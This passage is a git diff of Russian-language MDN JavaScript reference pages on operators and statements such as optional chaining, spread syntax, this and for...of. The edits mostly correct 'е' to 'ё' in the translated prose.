        В следующей таблице приведено ежедневное состояние реализации этой функции, поскольку эта функция еще не достигла стабильности в разных браузерах. Данные генерируются путем запуска соответствующих тестов функциональности в Test262, стандартном наборе тестов JavaScript, в ночной сборке или в последней версии движка JavaScript каждого браузера.

        +

        В следующей таблице приведено ежедневное состояние реализации этой функции, поскольку эта функция ещё не достигла стабильности в разных браузерах. Данные генерируются путём запуска соответствующих тестов функциональности в Test262, стандартном наборе тестов JavaScript, в ночной сборке или в последней версии движка JavaScript каждого браузера.

        {{EmbedTest262ReportResultsTable("coalesce-expression")}}
        diff --git a/files/ru/web/javascript/reference/operators/object_initializer/index.html b/files/ru/web/javascript/reference/operators/object_initializer/index.html index 5f8d445e0d..8487de375a 100644 --- a/files/ru/web/javascript/reference/operators/object_initializer/index.html +++ b/files/ru/web/javascript/reference/operators/object_initializer/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Operators/Object_initializer ---
        {{JsSidebar("Операторы")}}
        -

        Объекты могут быть инициализированы с помощью new Object(), Object.create() или литеральной (инициирующей) нотации. Инициализатор объекта это разделенный запятыми список ноль или более пар имен свойств и ассоциируемых с ними значений, заключенных в фигурные скобки ({}).

        +

        Объекты могут быть инициализированы с помощью new Object(), Object.create() или литеральной (инициирующей) нотации. Инициализатор объекта это разделённый запятыми список ноль или более пар имён свойств и ассоциируемых с ними значений, заключённых в фигурные скобки ({}).

        Синтаксис

        @@ -26,16 +26,16 @@ var o = {

        Пожалуйста, просмотрите таблицу поддержки этих нотаций. В неподдерживаемом окружении, эти нотации приведут к синтаксической ошибке.

        -
        // Сокращение имен свойств (ES2015)
        +
        // Сокращение имён свойств (ES2015)
         var a = 'foo', b = 42, c = {};
         var o = {a, b, c};
         
        -// Сокращение имен методов (ES2015)
        +// Сокращение имён методов (ES2015)
         var o = {
           property([parameters]) {}
         };
         
        -// Вычисление имен свойств (ES2015)
        +// Вычисление имён свойств (ES2015)
         var prop = 'foo';
         var o = {
           [prop]: 'hey',
        @@ -52,7 +52,7 @@ var o = {
         
         
        var object = {};
        -

        Однако, преимущество литеральной или инициирующей нотации это возможность быстро создавать объекты со свойствами внутри фигурных скобок. Создается простой список пар ключ: значение, разделенных запятой. Следующий код создает объект с тремя парами значений и ключи это "foo", "age" и "baz". Значения этих ключей строка "bar", число 42 и другой объект.

        +

        Однако, преимущество литеральной или инициирующей нотации это возможность быстро создавать объекты со свойствами внутри фигурных скобок. Создаётся простой список пар ключ: значение, разделённых запятой. Следующий код создаёт объект с тремя парами значений и ключи это "foo", "age" и "baz". Значения этих ключей строка "bar", число 42 и другой объект.

        var object = {
           foo: 'bar',
        @@ -90,14 +90,14 @@ var o = {
             b = 42,
             c = {};
         
        -// Сокращение имен свойств (ES2015)
        +// Сокращение имён свойств (ES2015)
         var o = {a, b, c};
         
         // Иначе говоря,
         console.log((o.a === {a}.a)); // true
         
        -

        Повторение имен свойств

        +

        Повторение имён свойств

        Когда используются одинаковые имена свойств, второе свойство перезапишет первое.

        @@ -105,14 +105,14 @@ console.log((o.a === {a}.a)); // true console.log(a); // {x: 2}
        -

        В строгом режиме ECMAScript 5, повторение имен свойств будет воспринято как {{jsxref("SyntaxError")}}.  С введением вычисляемых имен свойств и появлением возможности создавать дубликаты во время выполнения кода, ECMAScript 2015 убрал это ограничение.

        +

        В строгом режиме ECMAScript 5, повторение имён свойств будет воспринято как {{jsxref("SyntaxError")}}.  С введением вычисляемых имён свойств и появлением возможности создавать дубликаты во время выполнения кода, ECMAScript 2015 убрал это ограничение.

        function haveES2015DuplicatePropertySemantics() {
           'use strict';
           try {
             ({prop: 1, prop: 2});
         
        -    // Не будет ошибки, повторение имен доступно в строгом режиме
        +    // Не будет ошибки, повторение имён доступно в строгом режиме
             return true;
           } catch(e) {
             // Будет ошибка, дубликаты запрещены в строгом режиме
        @@ -132,7 +132,7 @@ console.log(a); // {x: 2}
         
         

        В ECMAScript 2015, доступна короткая нотация, поэтому слово "function" более не обязательно.

        -
        // Сокращение имен методов (ES2015)
        +
        // Сокращение имён методов (ES2015)
         var o = {
           property([parameters]) {},
           *generator() {}
        @@ -243,7 +243,7 @@ assert(obj3.__proto__ === 17);
          
      3. В JSON значения могут быть только строками, числами, массивами, true, false, null или другими (JSON) объектами.
      4. Значения-функции (смотри "Методы" выше) не могут быть присвоены свойствам в JSON.
      5. Объект вида {{jsxref("Date")}} будет строкой после {{jsxref("JSON.parse()")}}.
      6. -
      7. {{jsxref("JSON.parse()")}} отклонит вычисляемые имена свойств и вернет ошибку.
      8. +
      9. {{jsxref("JSON.parse()")}} отклонит вычисляемые имена свойств и вернёт ошибку.
      10. Спецификации

        diff --git a/files/ru/web/javascript/reference/operators/optional_chaining/index.html b/files/ru/web/javascript/reference/operators/optional_chaining/index.html index 959d17c800..b82d793eee 100644 --- a/files/ru/web/javascript/reference/operators/optional_chaining/index.html +++ b/files/ru/web/javascript/reference/operators/optional_chaining/index.html @@ -48,7 +48,7 @@ let nestedProp = ((temp === null || temp === undefined) ? undefined : temp.secon

        Вы можете использовать ?.когда необходимо вызвать метод, которого может не существовать. Это может быть полезно, например, при использовании API, в котором метод может быть недоступен из-за устаревания или не поддерживаем ости устройством пользователя.

        -

        Использование ?. с вызовом функции значит, что выполнение автоматически вернет undefined, а не выбросит исключение, если метод не найден:

        +

        Использование ?. с вызовом функции значит, что выполнение автоматически вернёт undefined, а не выбросит исключение, если метод не найден:

        let result = someInterface.customMethod?.();
        @@ -101,7 +101,7 @@ myMap.set("foo", {name: "baz", desc: "inga"}); let nameBar = myMap.get("bar")?.name;
        -

        Сокращенное выполнение

        +

        Сокращённое выполнение

        При использовании оператора опциональной последовательности в выражениях, где левая часть операнда равна null или undefined, выражение не будет выполнено. Например:

        diff --git a/files/ru/web/javascript/reference/operators/pipeline_operator/index.html b/files/ru/web/javascript/reference/operators/pipeline_operator/index.html index ec069c9e24..3fee1a8a0d 100644 --- a/files/ru/web/javascript/reference/operators/pipeline_operator/index.html +++ b/files/ru/web/javascript/reference/operators/pipeline_operator/index.html @@ -58,7 +58,7 @@ double(increment(double(double(5)))); // 42
      - +
      Таблица пробельных символов
      Pipeline operator draft Этап 1Еще не включен в спецификацию ECMAScript.Ещё не включён в спецификацию ECMAScript.
      diff --git a/files/ru/web/javascript/reference/operators/spread_syntax/index.html b/files/ru/web/javascript/reference/operators/spread_syntax/index.html index c96be61337..1019bdd757 100644 --- a/files/ru/web/javascript/reference/operators/spread_syntax/index.html +++ b/files/ru/web/javascript/reference/operators/spread_syntax/index.html @@ -44,7 +44,7 @@ translation_of: Web/JavaScript/Reference/Operators/Spread_syntax var args = [0, 1, 2]; myFunction.apply(null, args);
      -

      С spread syntax вышеприведенное можно записать как:

      +

      С spread syntax вышеприведённое можно записать как:

      function myFunction(x, y, z) { }
       var args = [0, 1, 2];
      @@ -58,7 +58,7 @@ myFunction(-1, ...args, 2, ...[3]);

      Apply для new

      -

      Вызывая конструктор через ключевое слово new, невозможно использовать массив и apply напрямую (apply выполняет [[Call]], а не [[Construct]]).Однако благодаря spread syntax, массив может быть с легкостью использован со словом new:

      +

      Вызывая конструктор через ключевое слово new, невозможно использовать массив и apply напрямую (apply выполняет [[Call]], а не [[Construct]]).Однако благодаря spread syntax, массив может быть с лёгкостью использован со словом new:

      var dateFields = [1970, 0, 1];  // 1 Jan 1970
       var d = new Date(...dateFields);
      @@ -103,7 +103,7 @@ var lyrics = ['head', ...parts, 'and', 'toes'];
       // ["head", "shoulders", "knees", "and", "toes"]
       
      -

      Аналогично развертыванию в массиве аргументов, ... может быть использован повсеместно и многократно в литерале массива.

      +

      Аналогично развёртыванию в массиве аргументов, ... может быть использован повсеместно и многократно в литерале массива.

      Копирование массива

      @@ -147,7 +147,7 @@ var arr2 = [3, 4, 5]; // Prepend all items from arr2 onto arr1 Array.prototype.unshift.apply(arr1, arr2) // arr1 is now [3, 4, 5, 0, 1, 2]
      -

      С использованием spread syntax [Следует отметить, что такой способ создает новый массив arr1. В отличие от {{jsxref("Array.unshift")}}, исходный массив не мутируется]:

      +

      С использованием spread syntax [Следует отметить, что такой способ создаёт новый массив arr1. В отличие от {{jsxref("Array.unshift")}}, исходный массив не мутируется]:

      var arr1 = [0, 1, 2];
       var arr2 = [3, 4, 5];
      @@ -183,11 +183,11 @@ var mergedObj = merge ( obj1, obj2);
       var mergedObj = merge ( {}, obj1, obj2);
       // Object { 0: {}, 1: { foo: 'bar', x: 42 }, 2: { foo: 'baz', y: 13 } }
      -

      В приведенном выше примере оператор распространения не работает так, как можно было бы ожидать: он распространяет массив аргументов в литерал объекта благодаря параметру rest.

      +

      В приведённом выше примере оператор распространения не работает так, как можно было бы ожидать: он распространяет массив аргументов в литерал объекта благодаря параметру rest.

      Только для итерируемых объектов

      -

      Spread syntax ( кроме случаев spread properties) может быть применен только к итерируемым объектам (iterable objects) :

      +

      Spread syntax ( кроме случаев spread properties) может быть применён только к итерируемым объектам (iterable objects) :

      var obj = {'key1': 'value1'};
       var array = [...obj]; // TypeError: obj is not iterable
      diff --git a/files/ru/web/javascript/reference/operators/this/index.html b/files/ru/web/javascript/reference/operators/this/index.html
      index 59761d890e..b373d12fa1 100644
      --- a/files/ru/web/javascript/reference/operators/this/index.html
      +++ b/files/ru/web/javascript/reference/operators/this/index.html
      @@ -13,7 +13,7 @@ translation_of: Web/JavaScript/Reference/Operators/this
       
       

      Поведение ключевого слова this в JavaScript несколько отличается по сравнению с остальными языками. Имеются также различия при использовании this в строгом и нестрогом режиме.

      -

      В большинстве случаев значение this определяется тем, каким образом вызвана функция. Значение this не может быть установлено путем присваивания во время исполнения кода и может иметь разное значение при каждом вызове функции. В ES5 представлен метод {{jsxref('Function.prototype.bind()', 'bind()')}}, который используется для {{jsxref('Operators/this','привязки значения ключевого слова this независимо от того, как вызвана функция','Метод_bind')}}. Также в ES2015 представлены {{jsxref('Functions/Arrow_functions', 'стрелочные функции')}}, которые не создают собственные привязки к this (они сохраняют значение this лексического окружения, в котором были созданы).

      +

      В большинстве случаев значение this определяется тем, каким образом вызвана функция. Значение this не может быть установлено путём присваивания во время исполнения кода и может иметь разное значение при каждом вызове функции. В ES5 представлен метод {{jsxref('Function.prototype.bind()', 'bind()')}}, который используется для {{jsxref('Operators/this','привязки значения ключевого слова this независимо от того, как вызвана функция','Метод_bind')}}. Также в ES2015 представлены {{jsxref('Functions/Arrow_functions', 'стрелочные функции')}}, которые не создают собственные привязки к this (они сохраняют значение this лексического окружения, в котором были созданы).

      {{EmbedInteractiveExample("pages/js/expressions-this.html")}}
      @@ -65,7 +65,7 @@ f1() === window; // window - глобальный объект в браузер f1() === global; // global - глобальный объект в Node
      -

      В строгом режиме, если значение this не установлено в контексте выполнения, оно остается undefined, как показано в следующем примере:

      +

      В строгом режиме, если значение this не установлено в контексте выполнения, оно остаётся undefined, как показано в следующем примере:

      function f2(){
         "use strict"; // см. strict mode
      @@ -77,7 +77,7 @@ f2() === undefined; // true
       
       
      Во втором примере this должно иметь значение {{jsxref("undefined")}}, потому что функция f2 была вызвана напрямую, а не как метод или свойство объекта (например, window.f2()). Реализация этой особенности не поддерживалась в некоторых браузерах, когда они впервые начали поддерживать {{jsxref('Strict_mode', 'строгий режим')}}. В результате они некорректно возвращали объект window.
      -

      Для того, чтобы при вызове функции установить this в определенное значение, используйте {{jsxref('Function.prototype.call()', 'call()')}} или {{jsxref('Function.prototype.apply()', 'apply()')}}, как в следующих примерах.

      +

      Для того, чтобы при вызове функции установить this в определённое значение, используйте {{jsxref('Function.prototype.call()', 'call()')}} или {{jsxref('Function.prototype.apply()', 'apply()')}}, как в следующих примерах.

      Пример 1

      @@ -128,7 +128,7 @@ bar.call('foo'); // [object String]

      Метод bind

      -

      ECMAScript 5 представил {{jsxref("Function.prototype.bind()")}}. Вызов f.bind(someObject) создает новую функцию с тем же телом и областью действия, что и f, но там, где в исходной функции используется this, в новой функции оно постоянно будет связано с первым аргументом bind, независимо от того, как функция используется.

      +

      ECMAScript 5 представил {{jsxref("Function.prototype.bind()")}}. Вызов f.bind(someObject) создаёт новую функцию с тем же телом и областью действия, что и f, но там, где в исходной функции используется this, в новой функции оно постоянно будет связано с первым аргументом bind, независимо от того, как функция используется.

      function f() {
         return this.a;
      @@ -155,7 +155,7 @@ console.log(foo() === globalObject); // true

      Note: если аргумент this передаётся в call, bind или apply при вызове стрелочной функции, он будет проигнорирован. Вы всё ещё можете добавить аргументы к вызову, но первый аргумент (thisArg) должен быть установлен в null.

      -

      Неважно, как стрелочная функция foo() будет вызвана, её значение this будет указывать на глобальный объект. this будет сохранять свое значение, даже если функция foo() будет вызвана как метод объекта (что в обычных функциях связывает this с объектом вызова) или с использованием методов call, apply или bind:

      +

      Неважно, как стрелочная функция foo() будет вызвана, её значение this будет указывать на глобальный объект. this будет сохранять своё значение, даже если функция foo() будет вызвана как метод объекта (что в обычных функциях связывает this с объектом вызова) или с использованием методов call, apply или bind:

      // Вызов функции как метода объекта
       var obj = {foo: foo};
      @@ -170,7 +170,7 @@ console.log(foo() === globalObject); // true

      Несмотря ни на что, this стрелочной функции foo() имеет то же значение, что и при создании функции (глобальный объект в примере выше). То же самое касается стрелочных функций, созданных внутри других функций: их this будет привязан к окружению.

      -
      // Создаем объект obj, содержащий метод bar, который возвращает функцию,
      +
      // Создаём объект obj, содержащий метод bar, который возвращает функцию,
       // которая возвращает свой this. Возвращаемая функция создана
       // как стрелочная функция, таким образом её this постоянно замкнут
       // на this функции, в которой она создана. Значение bar может быть установлено
      @@ -195,7 +195,7 @@ var fn2 = obj.bar;
       // потому что он следует за this из fn2.
       console.log(fn2()() == window); // true
      -

      В примере выше, функция (назовем её анонимной функцией A), присвоенная методу obj.bar, возвращает другую функцию (назовем её анонимной функцией B) которая создана как стрелочная функция. В результате, this функции B при вызове замкнут на this, принадлежащий obj.bar (функции A). this функции B всегда будет иметь то значение, которое он получил при создании. В примере выше, this функции B указывает на this функции A,которым является obj, таким образом this будет равен obj даже тогда, когда будет вызван методом, который в нормальных условиях устанавливал бы значение this равным undefined или глобальному объекту (или любым другим методом, как в предыдущем примере в глобальном контексте выполнения).

      +

      В примере выше, функция (назовём её анонимной функцией A), присвоенная методу obj.bar, возвращает другую функцию (назовём её анонимной функцией B) которая создана как стрелочная функция. В результате, this функции B при вызове замкнут на this, принадлежащий obj.bar (функции A). this функции B всегда будет иметь то значение, которое он получил при создании. В примере выше, this функции B указывает на this функции A,которым является obj, таким образом this будет равен obj даже тогда, когда будет вызван методом, который в нормальных условиях устанавливал бы значение this равным undefined или глобальному объекту (или любым другим методом, как в предыдущем примере в глобальном контексте выполнения).

      В методе объекта

      @@ -213,7 +213,7 @@ console.log(fn2()() == window); // true
      console.log(o.f()); // logs 37
      -

      Необходимо отметить, что на поведение this совсем не влияет то, как или где была определена функция. В предыдущем примере мы определили функцию внутри свойства f во время определения объекта o. Однако, мы могли бы также просто определить сначала функцию, а затем закрепить ее за за свойством o.f. В этом случае поведение this не изменится:

      +

      Необходимо отметить, что на поведение this совсем не влияет то, как или где была определена функция. В предыдущем примере мы определили функцию внутри свойства f во время определения объекта o. Однако, мы могли бы также просто определить сначала функцию, а затем закрепить её за за свойством o.f. В этом случае поведение this не изменится:

      var o = {prop: 37};
       
      @@ -236,7 +236,7 @@ console.log(o.b.g()); // logs 42
       
       

      this в цепочке object's prototype

      -

      Это же представление справедливо и для методов, определенных где-либо в цепочке object's prototype. Если метод находится в цепочке прототипов, то this ссылается на объект, на котором был вызван метод, т.е. так, словно метод является методом самого объекта, а не прототипа.

      +

      Это же представление справедливо и для методов, определённых где-либо в цепочке object's prototype. Если метод находится в цепочке прототипов, то this ссылается на объект, на котором был вызван метод, т.е. так, словно метод является методом самого объекта, а не прототипа.

      var o = {f:function(){ return this.a + this.b; }};
       var p = Object.create(o);
      @@ -274,7 +274,7 @@ console.log(o.phase, o.modulus); // logs -0.78 1.4142
       
       

      Когда функция используется как конструктор (с ключевым словом new ), this связано с создаваемым новым объектом.

      -

      Примечание: по умолчанию конструктор возвращает объект, на который ссылается this, но он может вернуть и другой объект (если возвращаемое значение не является объектом, тогда будет возвращен объект с this).

      +

      Примечание: по умолчанию конструктор возвращает объект, на который ссылается this, но он может вернуть и другой объект (если возвращаемое значение не является объектом, тогда будет возвращён объект с this).

      /*
        * Конструктор работает таким образом:
      @@ -312,7 +312,7 @@ o = new C2();
       console.log(o.a); // logs 38
       
      -

      В последнем примере (C2), из-за того, что конструктор вернул объект, новый объект, к которому было привязано this, был просто отброшен. (Это фактически делает выражение "this.a = 37;" "мертвым" кодом. Он не является буквально нерабочим, так как он выполняется, но он может быть изъят без каких-либо внешних эффектов.)

      +

      В последнем примере (C2), из-за того, что конструктор вернул объект, новый объект, к которому было привязано this, был просто отброшен. (Это фактически делает выражение "this.a = 37;" "мёртвым" кодом. Он не является буквально нерабочим, так как он выполняется, но он может быть изъят без каких-либо внешних эффектов.)

      call и apply

      @@ -335,7 +335,7 @@ add.call(o, 5, 7); // 1 + 3 + 5 + 7 = 16 add.apply(o, [10, 20]); // 1 + 3 + 10 + 20 = 34
      -

      Необходимо отметить, что если методам call и apply передается значение с this, которое не является при этом объектом, будет предпринята попытка конвертировать значение в объект, используя внутреннюю операцию ToObject. Если переданное значение является примитивным типом, например 7 или 'foo', оно будет преобразовано в объект с использованием родственного конструктора, так примитив 7 преобразовывается в объект через new Number(7), а строка 'foo' в объект через new String('foo'), и т.д.

      +

      Необходимо отметить, что если методам call и apply передаётся значение с this, которое не является при этом объектом, будет предпринята попытка конвертировать значение в объект, используя внутреннюю операцию ToObject. Если переданное значение является примитивным типом, например 7 или 'foo', оно будет преобразовано в объект с использованием родственного конструктора, так примитив 7 преобразовывается в объект через new Number(7), а строка 'foo' в объект через new String('foo'), и т.д.

      function bar() {
         console.log(Object.prototype.toString.call(this));
      @@ -382,7 +382,7 @@ for (var i = 0; i < elements.length; i++) {
       </button>
       
      -

      В этом случае this вложенной функции не будет установлен, так что будет возвращен global/window объект.

      +

      В этом случае this вложенной функции не будет установлен, так что будет возвращён global/window объект.

      Спецификации

      diff --git a/files/ru/web/javascript/reference/operators/void/index.html b/files/ru/web/javascript/reference/operators/void/index.html index e415aacae7..998c138972 100644 --- a/files/ru/web/javascript/reference/operators/void/index.html +++ b/files/ru/web/javascript/reference/operators/void/index.html @@ -41,7 +41,7 @@ translation_of: Web/JavaScript/Reference/Operators/void

      JavaScript URIs

      -

      Когда браузер переходит по javascript: URI, он вычисляет код в URI и заменяет содержание страницы возвращенным значением, если оно не равно {{jsxref("Global_Objects/undefined", "undefined")}}. Можно воспользоваться оператором void для возврата {{jsxref("Global_Objects/undefined", "undefined")}}. Например:

      +

      Когда браузер переходит по javascript: URI, он вычисляет код в URI и заменяет содержание страницы возвращённым значением, если оно не равно {{jsxref("Global_Objects/undefined", "undefined")}}. Можно воспользоваться оператором void для возврата {{jsxref("Global_Objects/undefined", "undefined")}}. Например:

      <a href="javascript:void(0);">
         Click here to do nothing
      diff --git a/files/ru/web/javascript/reference/statements/async_function/index.html b/files/ru/web/javascript/reference/statements/async_function/index.html
      index 966ea49b80..a956f73e66 100644
      --- a/files/ru/web/javascript/reference/statements/async_function/index.html
      +++ b/files/ru/web/javascript/reference/statements/async_function/index.html
      @@ -81,7 +81,7 @@ add2(10).then(v => {
       

      Не путайте await и Promise.all

      -

      Функция add1 приостанавливается на 2 секунды для первого await и еще на 2 для второго. Второй таймер создается только после срабатывания первого. В функции add2 создаются оба и оба же переходят в состояние await. В результате функция add2 завершится скорее через две, чем через четыре секунды, поскольку таймеры работают одновременно. Однако запускаются они все же не параллельно, а друг за другом - такая конструкция не означает автоматического использования Promise.all. Если два или более Promise должны разрешаться параллельно, следует использовать Promise.all.

      +

      Функция add1 приостанавливается на 2 секунды для первого await и ещё на 2 для второго. Второй таймер создаётся только после срабатывания первого. В функции add2 создаются оба и оба же переходят в состояние await. В результате функция add2 завершится скорее через две, чем через четыре секунды, поскольку таймеры работают одновременно. Однако запускаются они все же не параллельно, а друг за другом - такая конструкция не означает автоматического использования Promise.all. Если два или более Promise должны разрешаться параллельно, следует использовать Promise.all.

      Когда функция async выбрасывает исключение

      @@ -136,7 +136,7 @@ throwsValue() }
      -

      Заметьте, что пример выше не содержит await на return, потому что возвращаемое значение функции async неявно обернуто в {{jsxref("Promise.resolve")}}.

      +

      Заметьте, что пример выше не содержит await на return, потому что возвращаемое значение функции async неявно обёрнуто в {{jsxref("Promise.resolve")}}.

      Спецификации

      @@ -165,7 +165,7 @@ throwsValue()

      Поддержка браузерами

      - +

      {{Compat("javascript.statements.async_function")}}

      diff --git a/files/ru/web/javascript/reference/statements/block/index.html b/files/ru/web/javascript/reference/statements/block/index.html index a6fb564aa7..c6d34377df 100644 --- a/files/ru/web/javascript/reference/statements/block/index.html +++ b/files/ru/web/javascript/reference/statements/block/index.html @@ -41,13 +41,13 @@ original_slug: Web/JavaScript/Reference/Statements/Блок

      Обратите внимание, что блок инструкций не заканчивается точкой с запятой.

      -

      Блок инструкций часто называется сложной (составной) инструкцией в других языках. Он позволяет вам использовать несколько операторов там, где JavaScript ожидает один оператор. Помещение инструкций в блок - это распространенная практика в JavaScript. Противоположное поведение - использование пустого оператора там, где никаких действий не нужно, а оператор требуется.

      +

      Блок инструкций часто называется сложной (составной) инструкцией в других языках. Он позволяет вам использовать несколько операторов там, где JavaScript ожидает один оператор. Помещение инструкций в блок - это распространённая практика в JavaScript. Противоположное поведение - использование пустого оператора там, где никаких действий не нужно, а оператор требуется.

      Правила области видимости блока

      С использованием var

      -

      Переменные, объявленные через varне имеют блочной области видимости. Переменные, введенные внутри блока, имеют областью видимости содержащую их функцию или скрипт, и последствия записи в них значения распространяются за границы, собственно, блока, в котором они объявлены. Другими словами, блок инструкций не вводит новую область видимости. Хотя "отдельно стоящие" блоки не являются нарушением синтаксиса, не стоит использовать отдельно стоящие блоки в JavaScript, потому что они не делают то, чего вы от них ожидаете, если вы ожидаете, что они будут себя вести аналогично блокам в C или Java. Например:

      +

      Переменные, объявленные через varне имеют блочной области видимости. Переменные, введённые внутри блока, имеют областью видимости содержащую их функцию или скрипт, и последствия записи в них значения распространяются за границы, собственно, блока, в котором они объявлены. Другими словами, блок инструкций не вводит новую область видимости. Хотя "отдельно стоящие" блоки не являются нарушением синтаксиса, не стоит использовать отдельно стоящие блоки в JavaScript, потому что они не делают то, чего вы от них ожидаете, если вы ожидаете, что они будут себя вести аналогично блокам в C или Java. Например:

      var x = 1;
       {
      diff --git a/files/ru/web/javascript/reference/statements/class/index.html b/files/ru/web/javascript/reference/statements/class/index.html
      index 6e772f9c6a..507c13cb10 100644
      --- a/files/ru/web/javascript/reference/statements/class/index.html
      +++ b/files/ru/web/javascript/reference/statements/class/index.html
      @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Statements/class
       ---
       
      {{jsSidebar("Statements")}}
      -

      Class declaration создает новый класс с данным именем на основе прототипного наследования.

      +

      Class declaration создаёт новый класс с данным именем на основе прототипного наследования.

      Можно так же определить класс, используя {{jsxref("Operators/class", "class expression", "", 1)}}. Но в отличие от class expression, class declaration не позволяет снова объявить уже существующий класс, это приведёт к ошибке типа.

      @@ -54,7 +54,7 @@ class Square extends Polygon { class Foo {}; // Uncaught TypeError: Identifier 'Foo' has already been declared
      -

      Та же ошибка будет вызвана, если класс был определен перед использованием class declaration.

      +

      Та же ошибка будет вызвана, если класс был определён перед использованием class declaration.

      var Foo = class {};
       class Foo {}; // Uncaught TypeError: Identifier 'Foo' has already been declared
      diff --git a/files/ru/web/javascript/reference/statements/do...while/index.html b/files/ru/web/javascript/reference/statements/do...while/index.html
      index f6707b4b04..6a2aa31f07 100644
      --- a/files/ru/web/javascript/reference/statements/do...while/index.html
      +++ b/files/ru/web/javascript/reference/statements/do...while/index.html
      @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Statements/do...while
       ---
       
      {{jsSidebar("Statements")}}
      -

      Выражение do...while создает цикл, который выполняет указанное выражение до тех пор, пока условие не станет ложным. Условие проверяется после выполнения выражения, то есть выражение выполнится как минимум один раз.

      +

      Выражение do...while создаёт цикл, который выполняет указанное выражение до тех пор, пока условие не станет ложным. Условие проверяется после выполнения выражения, то есть выражение выполнится как минимум один раз.

      {{EmbedInteractiveExample("pages/js/statement-dowhile.html")}}

      @@ -23,7 +23,7 @@ while (условие);
      условие
      -
      Выражение, которое вычисляется после каждого шага цикла. Если условие истинно, то выражение выполняется еще раз. Когда условие ложно, выполняется выражение, следующее после do...while.
      +
      Выражение, которое вычисляется после каждого шага цикла. Если условие истинно, то выражение выполняется ещё раз. Когда условие ложно, выполняется выражение, следующее после do...while.

      Примеры

      diff --git a/files/ru/web/javascript/reference/statements/empty/index.html b/files/ru/web/javascript/reference/statements/empty/index.html index 3792c035bc..64aee27def 100644 --- a/files/ru/web/javascript/reference/statements/empty/index.html +++ b/files/ru/web/javascript/reference/statements/empty/index.html @@ -39,7 +39,7 @@ console.log(arr) killTheUniverse() // Это всегда выполняется!!!
      -

      Другой пример: if...else без фигурных скобок  ({}). Если three истинно, ничего не произойдет, four не важна, и функция launchRocket() тоже не запустится.

      +

      Другой пример: if...else без фигурных скобок  ({}). Если three истинно, ничего не произойдёт, four не важна, и функция launchRocket() тоже не запустится.

      if (one)
         doOne();
      diff --git a/files/ru/web/javascript/reference/statements/for-await...of/index.html b/files/ru/web/javascript/reference/statements/for-await...of/index.html
      index 9ed679ace7..d5a6b93e35 100644
      --- a/files/ru/web/javascript/reference/statements/for-await...of/index.html
      +++ b/files/ru/web/javascript/reference/statements/for-await...of/index.html
      @@ -77,7 +77,7 @@ translation_of: Web/JavaScript/Reference/Statements/for-await...of
       // 1
       // 2
      -

      Для более конкретного примера перебора асинхронного генератора с помощью for await... of, рассмотрим перебор данных из API.  В этом примере сначала создается асинхронный итератор для потока данных, а затем он используется для определения размера ответа от API.

      +

      Для более конкретного примера перебора асинхронного генератора с помощью for await... of, рассмотрим перебор данных из API.  В этом примере сначала создаётся асинхронный итератор для потока данных, а затем он используется для определения размера ответа от API.

      async function* streamAsyncIterator(stream) {
         const reader = stream.getReader();
      diff --git a/files/ru/web/javascript/reference/statements/for...in/index.html b/files/ru/web/javascript/reference/statements/for...in/index.html
      index 24d7434f81..18ffee0e24 100644
      --- a/files/ru/web/javascript/reference/statements/for...in/index.html
      +++ b/files/ru/web/javascript/reference/statements/for...in/index.html
      @@ -29,7 +29,7 @@ translation_of: Web/JavaScript/Reference/Statements/for...in
       
       

      Удаление, добавление и модификация свойств

      -

      Цикл for...in проходит по свойствам в произвольном порядке (см. оператор {{jsxref("Operators/delete", "delete")}} для того, чтобы узнать почему порядок прохода может отличаться в зависимости от браузера). Если свойство изменяется за одну итерацию, а затем изменяется снова, его значением в цикле является его последнее значение. Свойство, удаленное до того, как до него дошёл цикл, не будет участвовать в нём. Свойства добавленные в объекты в цикле могут быть пропущены. В общем, лучше не добавлять, изменять или удалять свойство из объекта во время итерации, если по нему ещё не прошли. Нет гарантии, что добавленное свойство будет посещено циклом, низменное после проведения изменений, а удалённое после удаления.

      +

      Цикл for...in проходит по свойствам в произвольном порядке (см. оператор {{jsxref("Operators/delete", "delete")}} для того, чтобы узнать почему порядок прохода может отличаться в зависимости от браузера). Если свойство изменяется за одну итерацию, а затем изменяется снова, его значением в цикле является его последнее значение. Свойство, удалённое до того, как до него дошёл цикл, не будет участвовать в нём. Свойства добавленные в объекты в цикле могут быть пропущены. В общем, лучше не добавлять, изменять или удалять свойство из объекта во время итерации, если по нему ещё не прошли. Нет гарантии, что добавленное свойство будет посещено циклом, низменное после проведения изменений, а удалённое после удаления.

      Проход по массиву и for...in

      diff --git a/files/ru/web/javascript/reference/statements/for...of/index.html b/files/ru/web/javascript/reference/statements/for...of/index.html index fdf8799529..cd4447e59f 100644 --- a/files/ru/web/javascript/reference/statements/for...of/index.html +++ b/files/ru/web/javascript/reference/statements/for...of/index.html @@ -213,7 +213,7 @@ for (var value of iterable) {

      Для {{jsxref("Statements/for...in", "for...in")}} обход перечисляемых свойств объекта осуществляется в произвольном порядке.

      -

      Для for...of обход происходит в соответствии с тем, какой порядок определен в итерируемом объекте.

      +

      Для for...of обход происходит в соответствии с тем, какой порядок определён в итерируемом объекте.

      Следующий пример показывает различия в работе циклов for...of и for...in при обходе {{jsxref("Array")}}.

      @@ -237,7 +237,7 @@ for (let i of iterable) { console.log(i); // выведет 3, 5, 7 }
      -

      Разберемся шаг за шагом в вышеописанном коде.

      +

      Разберёмся шаг за шагом в вышеописанном коде.

      Object.prototype.objCustom = function() {};
       Array.prototype.arrCustom = function() {};
      @@ -251,7 +251,7 @@ iterable.foo = 'hello';
      console.log(i); // выведет 0, 1, 2, "foo", "arrCustom", "objCustom" }
      -

      Цикл выводит только перечисляемые свойства объекта iterable, в порядке их создания. Он не выводит значения 357 и hello поскольку они не являются перечисляемыми, фактически они вообще не являются свойствами, они являются значениями. Выводятся же имена свойств и методов, например arrCustom и objCustom. Если вы еще не совсем поняли, по каким свойствам осуществляется обход, вот дополнительное объяснение того, как работает {{jsxref("Statements/for...in", "array iteration and for...in", "#Array_iteration_and_for...in")}} .

      +

      Цикл выводит только перечисляемые свойства объекта iterable, в порядке их создания. Он не выводит значения 357 и hello поскольку они не являются перечисляемыми, фактически они вообще не являются свойствами, они являются значениями. Выводятся же имена свойств и методов, например arrCustom и objCustom. Если вы ещё не совсем поняли, по каким свойствам осуществляется обход, вот дополнительное объяснение того, как работает {{jsxref("Statements/for...in", "array iteration and for...in", "#Array_iteration_and_for...in")}} .

      for (let i in iterable) {
         if (iterable.hasOwnProperty(i)) {
